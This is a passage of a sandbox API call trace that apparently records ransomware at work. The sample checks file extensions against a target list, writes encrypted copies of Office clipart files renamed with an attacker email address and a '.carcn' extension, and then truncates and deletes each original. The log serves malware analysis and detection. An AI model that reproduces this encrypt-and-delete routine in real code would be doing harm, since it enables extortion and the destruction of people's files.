Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0295.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0295.174] lstrlenW (lpString=".doc") returned 4 [0295.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.174] lstrlenW (lpString=".docx") returned 5 [0295.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.175] lstrlenW (lpString=".pdf") returned 4 [0295.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.175] lstrlenW (lpString=".xls") returned 4 [0295.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.175] lstrlenW (lpString=".xlsx") returned 5 [0295.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.175] lstrlenW (lpString=".ppt") returned 4 [0295.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0295.175] lstrlenW (lpString=".zip") returned 4 [0295.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.175] lstrlenW (lpString=".rar") returned 4 [0295.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.175] lstrlenW (lpString=".bz2") returned 4 [0295.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.175] lstrlenW (lpString=".7z") returned 3 [0295.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0295.175] lstrlenW (lpString=".dbf") returned 4 [0295.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0295.175] lstrlenW (lpString=".1cd") returned 4 [0295.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0295.175] lstrlenW (lpString=".jpg") returned 4 [0295.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0295.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0295.176] lstrlenW (lpString=".doc") returned 4 [0295.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.176] lstrlenW (lpString=".docx") returned 5 [0295.176] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.176] lstrlenW (lpString=".pdf") returned 4 [0295.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.176] lstrlenW (lpString=".xls") returned 4 [0295.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.176] lstrlenW (lpString=".xlsx") returned 5 [0295.176] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.176] lstrlenW (lpString=".ppt") returned 4 [0295.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0295.176] lstrlenW (lpString=".zip") returned 4 [0295.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.176] lstrlenW (lpString=".rar") returned 4 [0295.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.176] lstrlenW (lpString=".bz2") returned 4 [0295.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.176] lstrlenW (lpString=".7z") returned 3 [0295.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0295.176] lstrlenW (lpString=".dbf") returned 4 [0295.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0295.176] lstrlenW (lpString=".1cd") returned 4 [0295.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0295.177] lstrlenW (lpString=".jpg") returned 4 [0295.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.177] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.177] lstrlenW (lpString="AN04384_.WMF") returned 12 [0295.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.177] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4996) returned 1 [0295.177] CloseHandle (hObject=0x358) returned 1 [0295.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0295.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.178] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.178] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0295.179] GetLastError () returned 0x0 [0295.179] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1384, lpOverlapped=0x0) returned 1 [0295.180] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1390, lpOverlapped=0x0) returned 1 [0295.181] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.182] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.182] SetEndOfFile (hFile=0x388) returned 1 [0295.182] CloseHandle (hObject=0x388) returned 1 [0295.182] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.182] SetEndOfFile (hFile=0x358) returned 1 [0295.183] CloseHandle (hObject=0x358) returned 1 [0295.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0295.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0295.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0295.184] lstrlenW (lpString=".doc") returned 4 [0295.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.184] lstrlenW (lpString=".docx") returned 5 [0295.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.184] lstrlenW (lpString=".pdf") returned 4 [0295.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.184] lstrlenW (lpString=".xls") returned 4 [0295.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.184] lstrlenW (lpString=".xlsx") returned 5 [0295.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.184] lstrlenW (lpString=".ppt") returned 4 [0295.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0295.185] lstrlenW (lpString=".zip") returned 4 [0295.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.185] lstrlenW (lpString=".rar") returned 4 [0295.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.185] lstrlenW (lpString=".bz2") returned 4 [0295.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.185] lstrlenW (lpString=".7z") returned 3 [0295.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0295.185] lstrlenW (lpString=".dbf") returned 4 [0295.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0295.185] lstrlenW (lpString=".1cd") returned 4 [0295.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0295.185] lstrlenW (lpString=".jpg") returned 4 [0295.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0295.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0295.185] lstrlenW (lpString=".doc") returned 4 [0295.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.185] lstrlenW (lpString=".docx") returned 5 [0295.185] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.185] lstrlenW (lpString=".pdf") returned 4 [0295.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.185] lstrlenW (lpString=".xls") returned 4 [0295.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.185] lstrlenW (lpString=".xlsx") returned 5 [0295.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.186] lstrlenW (lpString=".ppt") returned 4 [0295.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0295.186] lstrlenW (lpString=".zip") returned 4 [0295.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.186] lstrlenW (lpString=".rar") returned 4 [0295.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.186] lstrlenW (lpString=".bz2") returned 4 [0295.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.186] lstrlenW (lpString=".7z") returned 3 [0295.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0295.186] lstrlenW (lpString=".dbf") returned 4 [0295.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0295.186] lstrlenW (lpString=".1cd") returned 4 [0295.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0295.186] lstrlenW (lpString=".jpg") returned 4 [0295.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.186] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.186] lstrlenW (lpString="AN04385_.WMF") returned 12 [0295.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.187] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=5004) returned 1 [0295.187] CloseHandle (hObject=0x358) returned 1 [0295.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0295.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.187] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.188] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0295.188] GetLastError () returned 0x0 [0295.188] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x138c, lpOverlapped=0x0) returned 1 [0295.189] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1390, lpOverlapped=0x0) returned 1 [0295.191] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.191] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.191] SetEndOfFile (hFile=0x388) returned 1 [0295.191] CloseHandle (hObject=0x388) returned 1 [0295.191] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.191] SetEndOfFile (hFile=0x358) returned 1 [0295.192] CloseHandle (hObject=0x358) returned 1 [0295.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0295.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0295.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0295.193] lstrlenW (lpString=".doc") returned 4 [0295.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.193] lstrlenW (lpString=".docx") returned 5 [0295.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.193] lstrlenW (lpString=".pdf") returned 4 [0295.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.194] lstrlenW (lpString=".xls") returned 4 [0295.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.194] lstrlenW (lpString=".xlsx") returned 5 [0295.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.194] lstrlenW (lpString=".ppt") returned 4 [0295.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0295.194] lstrlenW (lpString=".zip") returned 4 [0295.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.194] lstrlenW (lpString=".rar") returned 4 [0295.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.194] lstrlenW (lpString=".bz2") returned 4 [0295.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.194] lstrlenW (lpString=".7z") returned 3 [0295.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0295.194] lstrlenW (lpString=".dbf") returned 4 [0295.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0295.194] lstrlenW (lpString=".1cd") returned 4 [0295.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0295.194] lstrlenW (lpString=".jpg") returned 4 [0295.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0295.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0295.194] lstrlenW (lpString=".doc") returned 4 [0295.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.195] lstrlenW (lpString=".docx") returned 5 [0295.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.195] lstrlenW (lpString=".pdf") returned 4 [0295.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.195] lstrlenW (lpString=".xls") returned 4 [0295.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.195] lstrlenW (lpString=".xlsx") returned 5 [0295.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.195] lstrlenW (lpString=".ppt") returned 4 [0295.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0295.195] lstrlenW (lpString=".zip") returned 4 [0295.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.195] lstrlenW (lpString=".rar") returned 4 [0295.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.195] lstrlenW (lpString=".bz2") returned 4 [0295.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.195] lstrlenW (lpString=".7z") returned 3 [0295.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0295.195] lstrlenW (lpString=".dbf") returned 4 [0295.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0295.195] lstrlenW (lpString=".1cd") returned 4 [0295.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0295.195] lstrlenW (lpString=".jpg") returned 4 [0295.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.196] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.196] lstrlenW (lpString="BD00116_.WMF") returned 12 [0295.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.196] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4870) returned 1 [0295.196] CloseHandle (hObject=0x358) returned 1 [0295.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0295.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.197] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.197] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0295.198] GetLastError () returned 0x0 [0295.198] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1306, lpOverlapped=0x0) returned 1 [0295.736] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1310, lpOverlapped=0x0) returned 1 [0295.738] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.738] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.738] SetEndOfFile (hFile=0x388) returned 1 [0295.738] CloseHandle (hObject=0x388) returned 1 [0295.738] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.738] SetEndOfFile (hFile=0x358) returned 1 [0295.739] CloseHandle (hObject=0x358) returned 1 [0295.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0295.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0295.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0295.740] lstrlenW (lpString=".doc") returned 4 [0295.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.740] lstrlenW (lpString=".docx") returned 5 [0295.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.740] lstrlenW (lpString=".pdf") returned 4 [0295.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 